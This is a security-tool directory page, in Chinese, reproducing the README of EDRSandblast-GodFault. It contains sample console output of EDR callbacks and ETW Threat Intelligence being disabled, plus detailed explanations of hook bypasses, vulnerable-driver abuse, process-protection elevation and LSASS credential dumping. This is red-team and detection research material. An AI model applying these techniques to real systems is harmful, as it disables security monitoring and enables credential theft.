Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/gabriellandau/edrsandblast-godfault
防御工具权限提升内存取证漏洞利用后渗透利用红队Payload 开发Archived
GitHubgabriellandau/edrsandblast-godfault

EDRSandblast-GodFault

EDRSandblast-GodFault

查看仓库
27350103年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

EDRSandblast-GodFault

由 Gabriel Landau 在 Elastic Security 开发。修改自 EDRSandblast——详见下方原始 README。

将 GodFault 集成至 EDR Sandblast,无需使用任何有漏洞的驱动程序即可实现相同效果。

示例输出```

C:\Users\user\Desktop\Offsets>EDRSandblast.exe --kernelmode cmd


| | __ | __ \ / | | | | | | | | | | | | | | |) | ( __ _ _ __ | | | | | __ _ | | | | | | | | _ / _ \ / | '_ \ / _ | ' | |/ ` / __| __| | || || | | \ \ ) | (| | | | | (| | |) | | (| _ | | ||_____/|| _|/ _,|| ||_,|_./||_,|__/__|

D3FC0N 30 Edition | Thomas DIOT (@_Qazeer) & Maxime MEIGNAN (@th3m4ks)

[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)

[===== KERNEL MODE =====]

[+] Setting up prerequisites for the kernel read/write primitives... [+] Loading kernel related offsets from the CSV file [*] System's ntoskrnl.exe file version is: ntoskrnl_22621-1702.exe [+] Offsets are available for this version of ntoskrnl.exe (ntoskrnl_22621-1702.exe)! [+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations... [+] [NotifyRountines] Enumerating process creation callbacks [+] Running command: GodFault.exe -t 2684 [?] Server does not appear to be running. Attempting to install it... [+] CSRSS PID is 748 [+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure [+] Ready. Spawning WinTcb. [+] SpawnPPL: Waiting for child process to finish. [+] Thread 2684 (KTHREAD FFFF910961E4C080) has been blessed by GodFault [+] [NotifyRountines] fffff8034df25500 [cng.sys + 0x5500] [+] [NotifyRountines] fffff8034e9efdc0 [WdFilter.sys + 0x4fdc0] [+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys [+] [NotifyRountines] fffff803487bc460 [ksecdd.sys + 0x1c460] [+] [NotifyRountines] fffff8034eff3fd0 [tcpip.sys + 0x13fd0] [+] [NotifyRountines] fffff8034f5ed980 [iorate.sys + 0xd980] [+] [NotifyRountines] fffff8034dea8890 [CI.dll + 0x88890] [+] [NotifyRountines] fffff803525079f0 [dxgkrnl.sys + 0x179f0] [+] [NotifyRountines] fffff80352be0a70 [vm3dmp.sys + 0x10a70] [+] [NotifyRountines] fffff8036ebccd00 [peauth.sys + 0x3cd00] [+] [NotifyRountines] fffff8036eda1550 [wtd.sys + 0x1550] [+] [NotifyRountines] Found a total of 1 EDR / security products driver(s) [+] [NotifyRountines] Enumerating thread creation callbacks [+] [NotifyRountines] fffff8034e9f15c0 [WdFilter.sys + 0x515c0] [+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys [+] [NotifyRountines] fffff8034e9f1350 [WdFilter.sys + 0x51350] [+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys [+] [NotifyRountines] fffff8036eb71010 [mmcss.sys + 0x1010] [+] [NotifyRountines] Found a total of 2 EDR / security products driver(s) [+] [NotifyRountines] Enumerating image loading callbacks [+] [NotifyRountines] fffff8034e9f0820 [WdFilter.sys + 0x50820] [+] [NotifyRountines] Found callback belonging to EDR driver WdFilter.sys [+] [NotifyRountines] fffff80352ab5710 [ahcache.sys + 0x25710] [+] [NotifyRountines] Found a total of 1 EDR / security products driver(s)

[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication... [+] [ObjectCallblacks] Enumerating Process object callbacks : [+] [ObjectCallblacks] Callback at FFFF800C5E2F2940 for handle creations & duplications: [+] [ObjectCallblacks] Status: Enabled [+] [ObjectCallblacks] Preoperation at 0xfffff8034e9eda30 [WdFilter.sys + 0x4da30] [+] [ObjectCallblacks] Callback belongs to an EDR and is enabled! [+] [ObjectCallblacks] Enumerating Thread object callbacks : [+] [ObjectCallblacks] Object callbacks are present !

[+] [ETWTI] Checking the ETW Threat Intelligence Provider state... [+] [ETWTI] ETW Threat Intelligence Provider is ENABLED!

[+] Process is NOT "safe" to launch our payload, removing monitoring and starting another process...

[+] [ETWTI] Disabling the ETW Threat Intel provider by patching ProviderEnableInfo at 0xffff91095ce8c430 with 0x00. [+] [ETWTI] The ETW Threat Intel provider was successfully disabled!

[+] Removing kernel callbacks registered by EDR for process creation, thread creation and image loading... [+] [NotifyRountines] Removing process creation callbacks [+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c2a8 | callback struct: 0xffff91095dbf3a5f | callback function: 0xfffff8034e9efdc0] [+] [NotifyRountines] Removing thread creation callbacks [+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c4a0 | callback struct: 0xffff91095dbf3b1f | callback function: 0xfffff8034e9f15c0] [+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c4a8 | callback struct: 0xffff91095dbf3b4f | callback function: 0xfffff8034e9f1350] [+] [NotifyRountines] Removing image loading callbacks [+] [NotifyRountines] Removing callback of EDR driver "WdFilter.sys" [callback addr: 0xfffff8034970c6a0 | callback struct: 0xffff91095dbf3e4f | callback function: 0xfffff8034e9f0820]

[+] Disabling kernel callbacks registered by EDR for process and thread opening or handle duplication... [+] [ObjectCallblacks] Disabling WdFilter.sys callback...

[+] All EDR drivers were successfully removed from Kernel callbacks!

================================================== Starting a new unmonitored process...

[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)

[===== KERNEL MODE =====]

[+] Setting up prerequisites for the kernel read/write primitives... [+] Loading kernel related offsets from the CSV file [*] System's ntoskrnl.exe file version is: ntoskrnl_22621-1702.exe [+] Offsets are available for this version of ntoskrnl.exe (ntoskrnl_22621-1702.exe)! [+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations... [+] [NotifyRountines] Enumerating process creation callbacks [+] Running command: GodFault.exe -t 8344 [+] Thread 8344 (KTHREAD FFFF91096169F080) has been blessed by GodFault [+] Initial blessing successful [+] [NotifyRountines] fffff8034df25500 [cng.sys + 0x5500] [+] [NotifyRountines] fffff803487bc460 [ksecdd.sys + 0x1c460] [+] [NotifyRountines] fffff8034eff3fd0 [tcpip.sys + 0x13fd0] [+] [NotifyRountines] fffff8034f5ed980 [iorate.sys + 0xd980] [+] [NotifyRountines] fffff8034dea8890 [CI.dll + 0x88890] [+] [NotifyRountines] fffff803525079f0 [dxgkrnl.sys + 0x179f0] [+] [NotifyRountines] fffff80352be0a70 [vm3dmp.sys + 0x10a70] [+] [NotifyRountines] fffff8036ebccd00 [peauth.sys + 0x3cd00] [+] [NotifyRountines] fffff8036eda1550 [wtd.sys + 0x1550] [+] [NotifyRountines] No EDR driver(s) found! [+] [NotifyRountines] Enumerating thread creation callbacks [+] [NotifyRountines] fffff8036eb71010 [mmcss.sys + 0x1010] [+] [NotifyRountines] No EDR driver(s) found! [+] [NotifyRountines] Enumerating image loading callbacks [+] [NotifyRountines] fffff80352ab5710 [ahcache.sys + 0x25710] [+] [NotifyRountines] No EDR driver(s) found!

[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication... [+] [ObjectCallblacks] Enumerating Process object callbacks : [+] [ObjectCallblacks] Callback at FFFF800C5E2F2940 for handle creations & duplications: [+] [ObjectCallblacks] Status: Disabled [+] [ObjectCallblacks] Preoperation at 0xfffff8034e9eda30 [WdFilter.sys + 0x4da30] [+] [ObjectCallblacks] Callback belongs to an EDR but is disabled. [+] [ObjectCallblacks] Enumerating Thread object callbacks : [+] [ObjectCallblacks] Object callbacks are not found !

[+] [ETWTI] Checking the ETW Threat Intelligence Provider state... [+] [ETWTI] ETW Threat Intelligence Provider is DISABLED!

[+] Process is "safe" to launch our payload

[+] Kernel callbacks have normally been removed, starting cmd.exe WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit) WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!

Microsoft Windows [Version 10.0.22621.1702] (c) Microsoft Corporation. All rights reserved.

C:\Users\user\Desktop\Offsets>

root@kitploit:~
# EDRSandBlast

`EDRSandBlast` 是一款用 `C` 编写的工具,它利用一个易受攻击的已签名驱动程序来绕过 EDR 检测(通知例程回调、对象回调和 `ETW TI` 提供程序)以及 `LSASS` 保护。同时实现了多种用户态挂钩解除技术,以规避用户态监控。

截至目前发布版本,结合了用户态(`--usermode`)和内核态(`--kernelmode`)技术来在 EDR 监视下转储 `LSASS` 内存,既未被阻止,也未在产品(云)控制台中生成与“操作系统凭据转储”相关的事件。测试在 3 个不同的 EDR 产品上进行,每次均成功。

## 描述

### 通过内核通知例程移除绕过 EDR

EDR 产品使用 Windows 内核的“通知例程”回调来接收内核关于系统活动的通知,例如进程和线程的创建以及映像(`exe` / `DLL`)的加载。

这些内核回调是从内核态定义的,通常由实现回调的驱动程序使用一系列有文档记录的 API(`nt!PsSetCreateProcessNotifyRoutine`、`nt!PsSetCreateThreadNotifyRoutine` 等)。这些 API 将驱动程序提供的回调例程添加到内核空间中未文档化的例程数组中:
  - `PspCreateProcessNotifyRoutine` 用于进程创建
  - `PspCreateThreadNotifyRoutine` 用于线程创建
  - `PspLoadImageNotifyRoutine` 用于映像加载

`EDRSandBlast` 枚举这些数组中定义的例程,并移除任何与预定义 EDR 驱动程序列表(支持超过 1000 个安全产品驱动程序,请参阅 [EDR 驱动程序检测部分](#edr-drivers-and-processes-detection))相关联的回调例程。枚举和移除操作是通过利用有漏洞的驱动程序提供的任意内核内存读写原语实现的(请参阅 [易受攻击驱动程序部分](#vulnerable-drivers-detection))。

前述数组的偏移量通过多种技术恢复,请参阅 [偏移量部分](#ntoskrnl-and-wdigest-offsets)。

### 通过对象回调移除绕过 EDR

EDR(甚至 EPP)产品通常通过使用 `nt!ObRegisterCallbacks` 内核 API 注册“对象回调”。这些回调允许安全产品在特定对象类型(Windows 现在支持进程、线程和桌面相关的对象回调)的每次句柄生成时收到通知。句柄生成可能在对象打开(调用 `OpenProcess`、`OpenThread` 等)以及句柄复制(调用 `DuplicateHandle` 等)时发生。

通过在内核每次进行这些操作时收到通知,安全产品可以分析句柄创建的合法性(*例如,未知进程试图打开 LSASS*),甚至可以在检测到威胁时阻止它。

在使用 `ObRegisterCallbacks` 注册每个回调时,会在描述受回调影响的对象类型(进程、线程或桌面)的 `_OBJECT_TYPE` 对象中的 `CallbackList` 双向链表中添加一个新项。不幸的是,这些项由一个 Microsoft 未文档化也未在符号文件中发布的结构描述。然而,对多个 `ntoskrnl.exe` 版本的研究似乎表明,该结构在(至少)Windows 10 版本 10240 到 22000(2015 年至 2022 年)之间没有变化。

提到的表示对象回调注册的结构如下:```C
typedef struct OB_CALLBACK_ENTRY_t {
    LIST_ENTRY CallbackList; // linked element tied to _OBJECT_TYPE.CallbackList
    OB_OPERATION Operations; // bitfield : 1 for Creations, 2 for Duplications
    BOOL Enabled;            // self-explanatory
    OB_CALLBACK* Entry;      // points to the structure in which it is included
    POBJECT_TYPE ObjectType; // points to the object type affected by the callback
    POB_PRE_OPERATION_CALLBACK PreOperation;      // callback function called before each handle operation
    POB_POST_OPERATION_CALLBACK PostOperation;     // callback function called after each handle operation
    KSPIN_LOCK Lock;         // lock object used for synchronization
} OB_CALLBACK_ENTRY;

上面提到的 OB_CALLBACK 结构也是未文档化的,其定义如下:```C typedef struct OB_CALLBACK_t { USHORT Version; // usually 0x100 USHORT OperationRegistrationCount; // number of registered callbacks PVOID RegistrationContext; // arbitrary data passed at registration time UNICODE_STRING AltitudeString; // used to determine callbacks order struct OB_CALLBACK_ENTRY_t EntryItems[1]; // array of OperationRegistrationCount items WCHAR AltitudeBuffer[1]; // is AltitudeString.MaximumLength bytes long, and pointed by AltitudeString.Buffer } OB_CALLBACK;

root@kitploit:~
为了禁用EDR注册的对象回调,`EDRSandblast`实现了三种技术,但目前只启用了一种。

#### 使用 `OB_CALLBACK_ENTRY` 的 `Enabled` 字段
这是 `EDRSandblast` 中启用的默认技术。为了检测并禁用与EDR相关的对象回调,系统会浏览位于与 *Process* 和 *Thread* 类型关联的 `_OBJECT_TYPE` 对象中的 `CallbackList` 列表。这两个 `_OBJECT_TYPE` 对象由内核中的公共全局符号 `PsProcessType` 和 `PsThreadType` 指向。

列表中的每个条目都假定符合上述描述的 `OB_CALLBACK_ENTRY` 结构(至少在撰写本文时,该假设在所有 Windows 10 版本中都成立)。系统会定位 `PreOperation` 和 `PostOperation` 字段中定义的函数,检查它们是否属于 EDR 驱动程序,如果是,则通过切换 `Enabled` 标志来简单禁用回调。

虽然这是一种相当安全的技术,但它依赖于未文档化的结构;为降低不安全操作该结构的风险,会执行基本检查以验证某些字段是否具有预期值:
* `Enabled` 为 `TRUE` 或 `FALSE`(*别笑,`BOOL` 是 `int`,所以它可能不是 `1` 或 `0`*);
* `Operations` 为 `OB_OPERATION_HANDLE_CREATE`、`OB_OPERATION_HANDLE_DUPLICATE` 或两者兼有;
* `ObjectType` 指向 `PsProcessType` 或 `PsThreadType`。

#### 解除线程和进程的 `CallbackList` 链接
另一种不依赖于未文档化结构的策略(因此在理论上对 NT 内核变更更具鲁棒性)是解除进程和线程的整个 `CallbackList` 的链接。`_OBJECT_TYPE` 对象如下:```C
struct _OBJECT_TYPE {
	LIST_ENTRY TypeList;
	UNICODE_STRING Name;
	[...]
	_OBJECT_TYPE_INITIALIZER TypeInfo;
	[...]
	LIST_ENTRY CallbackList;
}

使 CallbackList 的 LIST_ENTRY 的 Flink 和 Blink 指针指向 LIST_ENTRY 自身,从而有效使列表为空。由于 _OBJECT_TYPE 结构体在内核符号中已发布,该技术不依赖硬编码的偏移量/结构体。然而,它有一些缺点。

首先,该技术无法仅禁用 EDR 的回调;实际上,它会影响所有可能由“合法”软件注册的对象回调。但需要指出的是,在 Windows 10 上(撰写本文时),任何预装组件均未使用对象回调,因此禁用它们不会影响机器稳定性(如果仅是临时禁用则更是如此)。

第二个缺点是,进程或线程句柄操作在操作系统正常运行中非常频繁(几乎连续)。因此,如果所使用的内核写入原语无法“原子地”执行 QWORD 写入,那么内核有很大概率在 _OBJECT_TYPE.CallbackList.Flink 指针被覆写的过程中访问它。例如,MSI 易受攻击的驱动程序 RTCore64.sys 一次只能执行 DWORD 写入,因此需要两次不同的 IOCTL 来覆写指针,而在这两次 IOCTL 之间,内核极有可能使用该指针(导致崩溃)。另一方面,易受攻击的 DELL 驱动程序 DBUtil_2_3.sys 可以在一次 IOCTL 中执行任意大小的写入,因此使用该方法不会冒崩溃的风险。

完全禁用对象回调

我们发现的最后一种技术是完全禁用线程和进程的对象回调支持。在对应于进程和线程类型的 _OBJECT_TYPE 结构体中,存在一个 TypeInfo 字段,遵循文档化的 _OBJECT_TYPE_INITIALIZER 结构。该结构包含一个 ObjectTypeFlags 位域,其中的 SupportsObjectCallbacks 标志决定所描述的对象类型(进程、线程、桌面、令牌、文件等)是否支持对象回调注册。如前所述,在撰写本文时,Windows 安装中只有进程、线程和桌面对象类型支持这些回调。

由于 SupportsObjectCallbacks 位在 ObpCreateHandle 或 ObDuplicateObject 读取 CallbackList(以及执行回调)之前就会被检查,因此在内核运行时翻转该位可以有效禁用所有对象回调的执行。

该方法的主要缺点是 KPP(“PatchGuard”)会监控某些(所有?)_OBJECT_TYPE 结构的完整性,并在检测到篡改时触发 0x109 Bug Check,其中参数 4 等于 0x8,表示对象类型结构已被更改。

然而,足够快速地执行禁用/重新启用(以及中间的“恶意”操作)应该足以“抢占” PatchGuard(除非你不走运,刚好在错误的时间点遇到周期性检查)。

通过禁用 ETW Microsoft-Windows-Threat-Intelligence 提供程序绕过 EDR

ETW Microsoft-Windows-Threat-Intelligence 提供程序会记录一些通常被恶意使用的 Windows API 的使用数据。这包括由 nt!NtReadVirtualMemory(用于转储 LSASS 内存)调用的 nt!MiReadWriteVirtualMemory API,并由 nt!EtwTiLogReadWriteVm 函数监控。

EDR 产品可以通过分别以 SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT 或 PS_PROTECTED_ANTIMALWARE_LIGHT 运行的服务或进程,并与 Early Launch Anti Malware (ELAM) 驱动程序关联,来消费 ETW TI 提供程序产生的日志。

正如 slaeryan 在 CNO Development Labs 博客文章 中所发布的那样,可以通过在内核内存中将 ETW TI 提供程序的 ProviderEnableInfo 属性修补为 0x0 来完全禁用它。更多关于该技术的信息请参考上述优秀的博客文章。

与内核回调移除类似,必要的 ntoskrnl.exe 偏移量(nt!EtwThreatIntProvRegHandleOffset、_ETW_REG_ENTRY 的 GuidEntry 以及 _ETW_GUID_ENTRY 的 ProviderEnableInfo)已在 NtoskrnlOffsets.csv 文件中为多个 Windows 内核版本计算得出。

通过绕过用户态钩子绕过 EDR

用户态钩子的工作原理

为了轻松监控进程执行的操作,EDR 产品通常会部署一种称为 用户态钩子 的机制。首先,EDR 产品注册一个内核回调(通常是 映像加载 或 进程创建 回调,参见上文),以便在每次进程启动时收到通知。

当 Windows 加载一个进程并在其实际启动之前,EDR 能够将包含其监控逻辑的自定义 DLL 注入到进程地址空间中。在加载过程中,此 DLL 会将“钩子”注入到每个需要被 EDR 监控的函数开头。在运行时,当被监控函数被监视的进程调用时,这些钩子会将控制流重定向到 EDR DLL 中的某些监控代码,从而允许其检查这些调用的参数和返回值。

大多数情况下,被监控的函数是系统调用(例如 NtReadVirtualMemory、NtOpenProcess 等),其实现位于 ntdll.dll 中。拦截对 Nt* 函数的调用使产品能够尽可能靠近用户态/内核态边界(同时仍保持在用户态),但某些高层 DLL 中的函数也可能被监控。

以下是同一函数在被 EDR 产品钩住前后的示例:```assembly NtProtectVirtualMemory proc near mov r10, rcx mov eax, 50h test byte ptr ds:7FFE0308h, 1 jnz short loc_18009D1E5 syscall retn loc_18009D1E5: int 2Eh retn NtProtectVirtualMemory endp

root@kitploit:~
(无内容)```assembly
NtProtectVirtualMemory proc near
	jmp     sub_7FFC74490298     ; --> "hook", jump to EDR analysis function
	int 3                        ; overwritten instructions
	int 3                        ; overwritten instructions
	int 3                        ; overwritten instructions
	test byte_7FFE0308, 1        ; <-- execution resumes here after analysis
	jnz short loc_7FFCB44AD1E5
	syscall
	retn
loc_7FFCB44AD1E5:
	int 2Eh
	retn
NtProtectVirtualMemory   endp			

钩子检测

用户态钩子有一个“弱点”:它们位于用户态内存中,这意味着它们可以被受检进程直接观察和修改。为了自动检测进程地址空间中的钩子,主要思路是比较磁盘上的原始 DLL 与内存中可能已被 EDR 修改的库之间的差异。为了执行此比较,EDRSandblast 遵循以下步骤:

  • 所有已加载 DLL 的列表通过位于 PEB 中的 InLoadOrderModuleList 枚举(避免调用任何可能被监控和引起怀疑的 API)
  • 对于每个已加载的 DLL,读取其在磁盘上的内容并解析其头部。同时解析内存中对应的库,以识别节区、导出表等。
  • 解析 DLL 的重定位并应用,同时考虑对应已加载库的基址。这使得内存中的库与磁盘上的 DLL 具有完全相同的内容(在应用了重定位的节区上),从而使比较可靠。
  • 枚举导出函数,并比较“内存中”和“磁盘上”版本的前几个字节。任何差异都表明 DLL 加载后发生了修改,因此很可能是 EDR 的钩子。

注意:此过程可以推广,以查找任何不可写节区中的差异,而不仅仅在导出函数的开头,例如如果 EDR 产品开始在函数中间应用钩子 :) 因此该工具未使用,但已在 findDiffsInNonWritableSections 中实现。

为了绕过这些钩子执行的监控,有多种技术可用,每种都有其优点和缺点。

使用……撤销钩子绕过钩子

绕过基于钩子的监控最直观的方法是移除钩子。由于钩子存在于进程自身可访问的内存中,要移除钩子,进程可以简单地:

  • 更改钩子所在页面的权限(从 RX 改为 RWX 或 RW)
  • 写入原始字节(已知来自磁盘上的 DLL 内容)
  • 将权限改回 RX

这种方法相当简单,可用于一次性移除所有检测到的钩子。由攻击性工具在开始时执行,使其余代码完全无需关注钩子机制,正常运行而不被监控。

然而,它有两个主要缺点。EDR 可能正在监控 NtProtectVirtualMemory 的使用,因此使用它来更改钩子所在页面的权限(至少在概念上)是个坏主意。此外,如果 EDR 执行一个线程并定期检查钩子的完整性,这也可能触发检测。

关于实现细节,请检查 unhook() 函数中 unhook_method 为 UNHOOK_WITH_NTPROTECTVIRTUALMEMORY 时的代码路径。

重要提示:为简单起见,EDRSandblast 中此技术作为基础技术实现,用于展示其他绕过技术;每种技术都演示了如何获得不受监控的 NtProtectVirtualMemory 版本,但随后执行相同的操作(撤销特定钩子)。

使用自定义跳板绕过钩子

要绕过特定钩子,可以简单地“跳过”钩子,执行函数的其余部分。首先,必须从 DLL 文件中恢复被 EDR 覆盖以安装钩子的受监控函数的原始字节。在我们之前的代码示例中,这将是以下指令对应的字节:```assembly mov r10, rcx mov eax, 50h

root@kitploit:~
识别这些字节是一项简单的任务,因为我们能够如前所述对库的内存版本和磁盘版本进行干净的*diff*。然后,我们组装一条跳转指令,旨在将控制流重定向到紧接着 hook 之后的代码,地址为`NtProtectVirtualMemory + sizeof(overwritten_instructions)`。```assembly
jmp NtProtectVirtualMemory+8

最后,我们将这些操作码拼接起来,将它们存储到(新分配的)可执行内存中,并保留一个指向它们的指针。这个对象被称为“跳板”,之后可以用作函数指针,与原始的 NtProtectVirtualMemory 函数完全等效。

与下面所有技术一样,这种方法的主要好处是钩子永远不会被擦除,因此 EDR 对钩子进行的任何完整性检查都应该通过。然而,它需要分配先可写后可执行的内存,这是 shellcode 分配的典型特征,从而引起 EDR 的注意。

有关实现细节,请查看 unhook() 函数在 unhook_method 为 UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE 时的代码路径。请记住,该技术仅在我们的实现中展示,并且最终用于从内存中移除钩子,与下面所有技术一样。

使用 EDR 自身跳板绕过钩子

为了使其钩子工作,EDR 产品必须在内存中的某处保存它已移除的操作码。更糟糕(或者“更好”,从攻击者的角度来看),为了有效使用原始指令,EDR 可能已经在某处为自己分配了一个跳板,以便在拦截调用后执行原始函数。

这个跳板可以被搜索到并用作被钩函数的替代品,无需分配可执行内存,也无需调用除 VirtualQuery 之外的任何 API,VirtualQuery 很可能不被监控,因为它是一个无害的函数。

为了在内存中找到跳板,我们使用 VirtualQuery 浏览整个地址空间,寻找已提交且可执行的内存。对于每个这样的内存区域,我们扫描它以查找一条跳转指令,该指令的目标是覆盖指令后的地址(在我们之前的示例中是 NtProtectVirtualMemory+8)。然后可以使用该跳板调用被钩函数而不触发钩子。

该技术出奇地有效,因为它几乎能恢复所测试 EDR 上的所有跳板。有关实现细节,请查看 unhook() 函数在 unhook_method 为 UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE 时的代码路径。

使用重复 DLL 绕过钩子

另一种访问未受监控版本的 NtProtectVirtualMemory 函数的简单方法是,将一份 ntdll.dll 库的副本加载到进程地址空间中。由于两个相同的 DLL 可以同时加载到同一个进程中(只要它们名称不同),我们可以简单地将合法的 ntdll.dll 文件复制到另一个位置,使用 LoadLibrary 加载它(或重新实现加载过程),然后通过例如 GetProcAddress 访问该函数。

这种技术非常容易理解和实现,并且有相当的成功机会,因为大多数 EDR 产品在进程运行后不会在新加载的 DLL 上重新安装钩子。然而,主要缺点是,将微软签名的二进制文件以不同名称复制,其本身通常会被 EDR 视为可疑行为。

尽管如此,该技术已在 EDRSandblast 中实现。有关实现细节,请查看 unhook() 函数在 unhook_method 为 UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY 时的代码路径。

使用直接系统调用绕过钩子

为了使用与系统调用相关的函数,程序可以用汇编重新实现系统调用,从而调用相应的操作系统功能,而不实际触及 ntdll.dll 中的代码(这些代码可能被 EDR 监控)。这完全绕过了对 ntdll.dll 中系统调用函数进行的任何用户态钩子。

然而,这也有其缺点。首先,这意味着需要知道程序所需的系统调用编号列表,而这些编号随每个 Windows 版本而变化。不过,这可以通过实现多种已知适用于所有过去 Windows NT 版本的启发式方法(例如对 ntdll 的 Zw* 导出进行排序、在相关的 ntdll 函数中搜索 mov rax, #syscall_number 指令等)来缓解,并检查它们是否返回相同的结果(更多详情请参见 Syscalls.c)。

此外,并非技术上属于系统调用的函数(例如 LoadLibraryX/LdrLoadDLL)也可能被监控,并且无法简单地通过系统调用来重新实现。

直接系统调用技术已在 EDRSandblast 中实现。如前所述,它仅用于安全地执行 NtProtectVirtualMemory 并移除所有检测到的钩子。

有关实现细节,请查看 unhook() 函数在 unhook_method 为 UNHOOK_WITH_DIRECT_SYSCALL 时的代码路径。

利用有漏洞的驱动程序

如前所述,每个需要内核内存读取或写入的操作都依赖于一个有漏洞的驱动程序来提供这种原语。在 EDRSanblast 中,添加对提供读/写原语的新驱动程序的支持可以“轻松”完成,只需要实现三个函数:

  • 一个 ReadMemoryPrimitive_DRIVERNAME(SIZE_T Size, DWORD64 Address, PVOID Buffer) 函数,将 Size 字节从内核地址 Address 复制到用户态缓冲区 Buffer;
  • 一个 WriteMemoryPrimitive_DRIVERNAME(SIZE_T Size, DWORD64 Address, PVOID Buffer) 函数,将 Size 字节从用户态缓冲区 Buffer 复制到内核地址 Address;
  • 一个 CloseDriverHandle_DRIVERNAME() 函数,确保所有指向驱动程序的句柄都已关闭(在卸载操作之前需要,目前该操作与驱动程序无关)。

例如,EDRSandblast 当前支持两个驱动程序:RTCore64.sys(SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD)和 DBUtils_2_3.sys(SHA256: 0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5)。如果需要更改所使用的有漏洞驱动程序,或者实现了新的驱动程序,则需要更新 KernelMemoryPrimitives.h 中的以下代码。```C #define RTCore 0 #define DBUtil 1 // Select the driver to use with the following #define #define VULN_DRIVER RTCore

#if VULN_DRIVER == RTCore #define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys") #define CloseDriverHandle CloseDriverHandle_RTCore #define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore #define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore #elif VULN_DRIVER == DBUtil #define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys") #define CloseDriverHandle CloseDriverHandle_DBUtil #define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil #define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil #endif

root@kitploit:~
### EDR 驱动与进程检测

当前采用多种技术判断特定驱动程序或进程是否属于 EDR 产品。

首先,驱动名称可直接用于此目的。实际上,Microsoft 为所有需要在内核中插入回调的驱动程序分配了特定编号,称为“Altitudes”。这保证了回调执行的确定性顺序,不依赖于注册顺序,而仅基于驱动用途。已预留特定 *altitude* 的(供应商)驱动程序列表可在 [MSDN](https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/allocated-altitudes) 上找到。因此,Microsoft 主要提供了“FSFilter Anti-Virus”和“FSFilter Activity Monitor”列表中与安全产品相关的安全驱动程序名称的近乎完整的列表。这些驱动程序名称列表以及额外贡献被嵌入到 EDRSandblast 中。

此外,EDR 可执行文件和 DLL 通常使用供应商的签名证书进行数字签名。因此,检查与进程关联的可执行文件或 DLL 的签名者可以快速识别 EDR 产品。

另外,驱动程序必须直接由 Microsoft 签名才能被允许加载到内核空间。虽然驱动程序供应商并非直接是驱动程序本身的签名者,但供应商名称似乎仍包含在签名的某个属性中;然而,这种检测技术仍有待研究和实现。

最后,当遇到 EDRSandblast 未知的 EDR 时,最佳方法是在“审计”模式下运行该工具,检查已注册内核回调的驱动程序列表;然后可以将驱动程序名称添加到列表中,重新编译工具并再次运行。

### RunAsPPL 绕过

`本地安全机构 (LSA) 保护` 机制首次引入于 Windows 8.1 和 Windows Server 2012 R2,它利用 `保护进程轻量级 (PPL)` 技术来限制对 `LSASS` 进程的访问。`PPL` 保护规范并限制了对受保护进程的操作,例如内存注入或内存转储,即使是从持有 `SeDebugPrivilege` 权限的进程发起也是如此。在进程保护模型下,只有运行在更高保护级别的进程才能对受保护进程执行操作。

Windows 内核用于在内核内存中表示进程的 `_EPROCESS` 结构包含一个 `_PS_PROTECTION` 字段,该字段通过其 `Type`(`_PS_PROTECTED_TYPE`)和 `Signer`(`_PS_PROTECTED_SIGNER`)属性定义了进程的保护级别。

通过在内核内存中写入,EDRSandblast 进程能够将其自身的保护级别提升到 `PsProtectedSignerWinTcb-Light`。此级别足以转储 `LSASS` 进程的内存,因为它“支配”了 `PsProtectedSignerLsa-Light`——这是正在运行 `RunAsPPL` 机制的 `LSASS` 进程的保护级别。

`EDRSandBlast` 按如下方式实现自我保护:
  - 打开当前进程的句柄
  - 使用 `NtQuerySystemInformation` 泄露所有系统句柄,以找到在当前进程上打开的句柄,以及内核内存中当前进程 `EPROCESS` 结构的地址。
  - 利用 `微星 MSI Afterburner` 驱动的任意读/写漏洞,覆盖内核内存中当前进程的 `_PS_PROTECTION` 字段。相对于 `EPROCESS` 结构的 `_PS_PROTECTION` 字段的偏移量(由使用的 `ntoskrnl` 版本定义)在 `NtoskrnlOffsets.csv` 文件中计算得出。

### Credential Guard 绕过

Microsoft `Credential Guard` 是一种基于虚拟化的隔离技术,引入于 Microsoft 的 `Windows 10(企业版)`,它阻止直接访问存储在 `LSASS` 进程中的凭据。

